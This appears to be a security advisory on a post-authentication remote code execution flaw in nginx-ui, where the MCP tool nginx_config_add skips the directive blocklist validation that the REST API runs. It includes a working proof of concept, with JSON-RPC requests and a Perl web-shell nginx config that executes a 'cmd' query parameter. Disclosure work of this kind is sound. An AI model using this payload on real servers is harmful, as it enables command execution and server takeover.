The MCP tool nginx_config_add writes nginx configuration files to disk and triggers an nginx reload without calling config.ValidateConfigFile. The identical flow in the REST API (POST /api/configs) does call that function and correctly rejects dangerous directives. An authenticated attacker can exploit this gap to write config files containing any blocked directive (perl, js_import, load_module, user root, etc.), bypassing nginx-ui's entire security layer. On a server with the nginx Perl, njs, or Lua module loaded, this is post-authentication Remote Code Execution.
api/config/add.go (line 46) calls config.ValidateConfigFile before writing:
err = config.ValidateConfigFile(path, content) // validates directives, checks blocklist
if err != nil {
cosy.ErrHandler(c, err)
return
}
mcp/config/config_add.go (line 79) omits that call entirely and writes directly:
err = os.WriteFile(path, []byte(content), 0644) // no ValidateConfigFile, no blocklist check
...
res := nginx.Control(nginx.Reload) // reload triggered immediately
config.ValidateConfigFile runs two checks:
ValidateConfigContent — rejects control characters, enforces encoding.ValidateConfigDirectives — rejects a blocklist of dangerous directives: perl, perl_modules, perl_require, perl_set, js_import, js_set, js_content, load_module (restricted modules), user root, and others.Neither check runs on the MCP path. Note that mcp/config/config_modify.go does call ValidateConfigFile correctly — only config_add.go is affected.
The MCP endpoint (GET /mcp SSE + POST /mcp_message JSON-RPC) accepts the same JWT and node-secret tokens as the REST API, so the attack surface is any authenticated session.
1 — Control: confirm REST API blocks the payload
POST /api/configs
Authorization: <token>
{ "name": "rce.conf", "base_dir": "conf.d", "content": "<perl config below>", "overwrite": true }
Response:
HTTP 500 scope=config code=40017
message: file content contains restricted nginx directive: {0}
ValidateConfigDirectives rejects perl — the REST API is working as intended.
2 — Open MCP SSE session
GET /mcp
Authorization: <token>
Accept: text/event-stream
Extract sessionId from the endpoint event.
3 — MCP initialize handshake
POST /mcp_message?sessionId=<id>
{ "jsonrpc": "2.0", "id": 1, "method": "initialize",
"params": { "protocolVersion": "2024-11-05", "capabilities": {}, "clientInfo": { "name": "poc", "version": "1.0" } } }
4 — Call nginx_config_add with the identical blocked payload
POST /mcp_message?sessionId=<id>
{
"jsonrpc": "2.0", "id": 2, "method": "tools/call",
"params": {
"name": "nginx_config_add",
"arguments": {
"name": "rce_backdoor.conf",
"base_dir": "conf.d",
"overwrite": true,
"content": "server {\n listen 8888;\n\n location /rce {\n perl 'sub {\n my $r = shift;\n my ($cmd) = ($r->args =~ /(?:^|&)cmd=([^&]*)/);\n $cmd ||= \"id\";\n $r->send_http_header(\"text/plain\");\n $r->print(qx($cmd 2>&1));\n return OK;\n }';\n }\n}\n"
}
}
}
Response (HTTP 200 OK) — file written to /etc/nginx/conf.d/rce_backdoor.conf, nginx reloaded automatically:
{
"jsonrpc": "2.0",
"id": 2,
"result": {
"content": [
{
"type": "text",
"text": "{\"content\":\"...\",\"file_path\":\"/etc/managed-nginx/conf.d/rce_backdoor.conf\",\"name\":\"rce_backdoor.conf\"}"
}
]
}
}
The perl directive — explicitly listed in blockedConfigDirectives and rejected by the REST API — passes through without any check.
5 — Trigger RCE
GET http://<target>:8888/rce?cmd=id
uid=101(nginx) gid=101(nginx) groups=101(nginx)
Any authenticated user (valid JWT or node-secret) can write an nginx configuration file containing any directive from the security blocklist. nginx-ui reloads nginx automatically after the write, activating the malicious config immediately. No further interaction is required.
On servers running nginx with the Perl module (nginx:mainline-perl) or nginx+njs, this results in arbitrary OS command execution running as the nginx worker user. Combined with a user root; directive (also unblocked via this path), the worker process can be escalated to root before the RCE handler fires.
{
"cwe_ids": [
"CWE-693"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-15T20:11:18Z",
"nvd_published_at": "2026-10-12T21:17:22Z",
"severity": "HIGH"
}